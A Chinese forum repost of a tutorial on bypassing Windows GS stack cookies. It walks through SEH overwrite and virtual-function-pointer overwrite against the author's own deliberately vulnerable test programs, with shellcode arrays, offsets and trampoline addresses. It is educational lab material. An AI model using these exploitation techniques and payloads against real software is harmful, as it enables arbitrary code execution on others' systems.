安全矩阵

 找回密码
 立即注册
搜索
查看: 371|回复: 0

EXP编写学习之绕过GS

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-2-18 23:29:20 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-2-18 23:29 编辑


EXP编写学习之绕过GS

原文链接:EXP编写学习之绕过GS
yumoqaq [url=]看雪学苑[/url] 2023-02-18 17:59 发表于上海
本文为看雪论坛优秀文章
看雪论坛作者ID:yumoqaq
栈中的守护天使 :GS

GS原理
向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。Security Check过程中,比较栈中的Security Cookie与data节中的副本,如果不吻合,则栈中发生了溢出。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。在VS2005以后的版本,添加了变量重排技术,把缓冲区放到最下面,防止溢出到变量中,同时还把指针参数和字符串参数复制到栈顶,防止函数参数被破坏。
Security Cookie的生成

系统以data节的第一个 DWORD值作为Cookie种子,或称为原始Cookie(所有函数的Cookie都用它生成)。程序每次运行,种子都不同,具有很强的随机性。在栈帧初始化以后,用ebp xor 种子 ,作为当前函数的Cookie,以此作为不同函数的区别,并增加随机性。函数返回前,用ebp 还原出 Cookie 种子 ,进行比较。

GS不会被应用的情况
函数不包含缓冲区。函数被定义为具有变量参数列表。函数使用无保护的关键字标记。函数在第一个语句中内联汇编代码。缓冲区不是8字节类型 且 大小不大于4个字节。编译指令 #pragma strict_gs_check(on) 可以为函数强制启用GS。

逆向分析GS

1.用C语言写一个简单的程序,开启GS编译选项,Release编译,观察一下汇编代码(没有GS的汇编代码相信读者已经在之前的章节中看过了)。
  1. #include <stdio.h>
  2. #include <Windows.h>

  3. int main(int arc, char** argv)
  4. {
  5.     char szBuff[100] = { 0 };
  6.     strcpy(szBuff, argv[1]);
  7.     printf("%s\n", szBuff);

  8.     return 0;
  9. }
复制代码

编辑
编辑
2.生成exe后,ida打开
编辑
可以看到,把安全cookie给eax, 与 ebp异或后, 放入栈中ebp-4的位置 ,然后再去函数末尾看一下。
编辑
可以看到,在printf调用后, 把栈中的 cookie拿出来给ecx , ecx与ebp异或后, 调用了一个函数。
这个函数就是检查cookie的函数Security Check , 先把结果与.data节中的原始 cookie进行比较 , 如果相同则正常返回, 如果不同则跳转。
然后继续跟着跳转往下看,可以看到最后调用了这个函数:
编辑
这里的ExceptionInfo是异常处理需要的结构体,可以在前面看到被赋值,看一下最后的函数调用。
编辑
最后这个函数设置了一个空的异常处理函数,之后调用系统自己的异常处理函数,并传入之前的ExceptionInfo,之后获取当前进程后强制结束。
看一下cookie,确实在.data节中, 并且是一个随机值(读者可以调试打开查看,IDA是静态分析工具,cookie会在进入主函数前初始化)。
编辑
3.也就是说,如果cookie被覆盖,则不会按照原来流程返回到被覆盖的 retaddr ,验证了前面的原理部分。
4.变量重排比较好理解,因为一般栈空间是按照你的变量顺序来的,重排后,把缓冲区放到距离cookie最近的地方,防止溢出到关键变量,但是没有溢出到cookie的情况。
5.根据以上总结与分析,硬刚GS还是比较困难的,所以我们不得不研究绕过GS的办法。
绕过GS的方式
这里提出四点,我们实践两点,2与3 , 1与4是理论上可行的,但是实际环境几乎不可能。
  •         利用未被保护的内存突破GS
  •         覆盖虚函数突破GS
  •         攻击SEH突破GS
  •         同时替换栈中和.data中的Cookie突破GS(硬刚覆盖返回地址)
攻击SEH突破GS

1.使用C语言写一个测试程序。
  1. #include <stdio.h>
  2. #include <Windows.h>

  3. void __stdcall test(char* str, char* out)
  4. {
  5.     char buf[200] = { 0 };

  6.     __try
  7.     {
  8.         strcpy(buf, str);
  9.         strcpy(out, buf);
  10.     }
  11.     __except (1)
  12.     {
  13.         printf("Error OverFlow\n");
  14.     }
  15. }


  16. int main(int arc, char** argv)
  17. {
  18.     char buf1[500];
  19.     memset(buf1, 0x90, 1000);

  20.     char buf2[100] = { 0 };
  21.     test(buf1, buf2);

  22.     return 0;
  23. }
复制代码
代码简要解释 :test是一个溢出函数 且 注册了SEH , 把buf1 的 500字节的数据 放入 test函数中的200字节大小的缓冲区中, 此时会造成溢出,溢出后会覆盖到 out 的地址(参数地址 ebp + n),然后再次拷贝buf到out 的过程中 , 会触发非法访问,转入异常处理流程,但是此时函数并没有执行到返回,也就是没有执行到 check cookie函数, 所以可以覆盖SEH来实现绕过 GS。
2.开启GS选项,关闭SafeSEH DEP ASLR选项与优化,生成exe,调试器打开查看, 查看后发现,SEH被编译器扩展(不展开分析)。
好的好的,调试器定位一下test函数,在经过第一次strcpy后,查看SEH链 ,之后继续运行, 访问90909090产生异常。
编辑
这个可以证明,攻击SEH是可行的,但是如果你想攻击这个程序,你还得考虑绕过SafeSEH(主模块的地址包含00,无法利用)。
3.修改一下测试代码 ,加入shellcode ,用来展示利用过程,溢出到系统的异常处理, 可以使用 msfvenom生成(参考上篇)。
  1. #include <stdio.h>
  2. #include <Windows.h>

  3. unsigned char shellcode[500] =
  4. "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
  5. "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
  6. "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
  7. "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
  8. "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
  9. "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
  10. "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
  11. "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
  12. "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
  13. "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
  14. "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
  15. "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
  16. "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
  17. "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
  18. "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
  19. "\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
  20. "\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
  21. "\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
  22. "\x55\x08";

  23. void  __stdcall test(char* input)
  24. {
  25.     char buf[200];
  26.     strcpy(buf, input);
  27.     strcat(buf, input);
  28. }


  29. int main(int arc, char** argv)
  30. {
  31.     memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));

  32.     test(shellcode);
  33. }

  34. //代码的简单解释
  35. //还是之前的原理,溢出到参数列表,造成strcat访问异常,导致程序进入异常处理
  36. //但是我们没有自己生成SEH,而是溢出到系统的SEH结构,这样可以避免我们在这个知识点中关心SafeSEH的绕过
复制代码

编辑
4.在shellcode中,确定偏移后,覆盖系统的Handler即可。
  1. #include <stdio.h>
  2. #include <Windows.h>

  3. unsigned char shellcode[500] =
  4. "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
  5. "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
  6. "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
  7. "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
  8. "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
  9. "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
  10. "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
  11. "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
  12. "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
  13. "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
  14. "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
  15. "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
  16. "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
  17. "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
  18. "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
  19. "\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
  20. "\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
  21. "\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
  22. "\x55\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

  23. void  __stdcall test(char* input)
  24. {
  25.     char buf[200];
  26.     strcpy(buf, input);
  27.     strcat(buf, input);
  28. }


  29. int main(int arc, char** argv)
  30. {
  31.     int len = strlen(shellcode);
  32.     memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));
  33.     int* ptr = &shellcode[len];
  34.     *ptr = &shellcode;

  35.     test(shellcode);
  36. }
复制代码
运行进行测试,可以看到拷贝后,刚好覆盖到handler。
编辑
不用调试器直接打开此程序 , 可以看到,成功执行shellcode。
编辑
攻击虚函数绕过GS
’1.使用C++编写一个漏洞程序 , 为了避免操作复杂化, 我们直接在程序中定义shellcode,来进行演示。
  1. #include <stdio.h>
  2. #include <Windows.h>


  3. class Foo
  4. {
  5. public:
  6.     void Overflow(char* src)
  7. {
  8.         char buf[8] = { 0 };
  9.         strcpy(buf, src);
  10.         bar();
  11.     }

  12.     virtual void bar()
  13. {

  14.     }

  15. };

  16. char shellcode[] =
  17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


  19. int main(int arc, char** argv)
  20. {
  21.     Foo test;
  22.     test.Overflow(shellcode);
  23.     return 0;
  24. }
复制代码


2.对代码的介绍:Foo中的成员函数 Overflow存在溢出,且它调用了虚函数 bar , 如果我们能通过溢出,覆盖到虚表指针,则可以实现漏洞利用
3.现在需要搞清楚,虚表的位置 , 调试器打开看一下。
编辑
可以看到,在调用成员函数的时候的两个参数,这个对象只有4字节的大小,也就是只有一个虚表,跟进查看。
编辑
这里可以看到,目的地址为19FF0C , 对应的栈位置为8个0的数据, 对应buf大小。
19FF0C 到 虚表的偏移为 28 ,好的, 现在我们面临一个 call eax的操作, 也就是调用虚函数。
那么覆盖成什么数据才可以让程序流程转到我们的shellcode?
看一下汇编代码, ebp-10 的位置为 19FF24 , 也就是对象的首地址 , 然后从19FF24中取出数据 给 eax。
eax = 19FF24 ,然后从eax中取出数据给 edx , edx = 40210C ,也就是edx是虚表。
然后从 edx中取出4字节数据, 给eax , eax = vftable[0] , 也就是第一个虚函数。
好的,思考一下,我们看到栈中的情况, shellcode的地址在 403018 , 那么我们是不是可以覆盖虚表指针为403018 (没有ASLR)然后程序会取shellcode的前4字节,作为虚函数执行。
shellcode前4字节设置为跳板地址。
4.现在准备call eax , 可以看到eax已经被覆盖为 shellcode前4字节 90909090。
观察寄存器可以发现, ecx edx ebp都可以利用, 例如 跳板地址的指令为 call ebp 或者 jmp ebp (选ebp还有个好处,可以跳过前4字节的垃圾指令)。
编辑
通过搜索跳板指令, 找到这个地址 0x77528A50(call ebp), 所以最后的利用方式是这样的:
  1. //0x77528A50
  2. char shellcode[] =
  3. "\x50\x8A\x52\x77\x90\x90\x90\x90\x90\x90\x90\x90"
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40";
复制代码
重新编译,运行,调试,跟踪, 程序来到了nop区执行 ,代表着成功利用
编辑
参考资料
0day2
看雪ID:yumoqaq
https://bbs.kanxue.com/user-home-930159.htm

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-17 05:34 , Processed in 0.015242 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表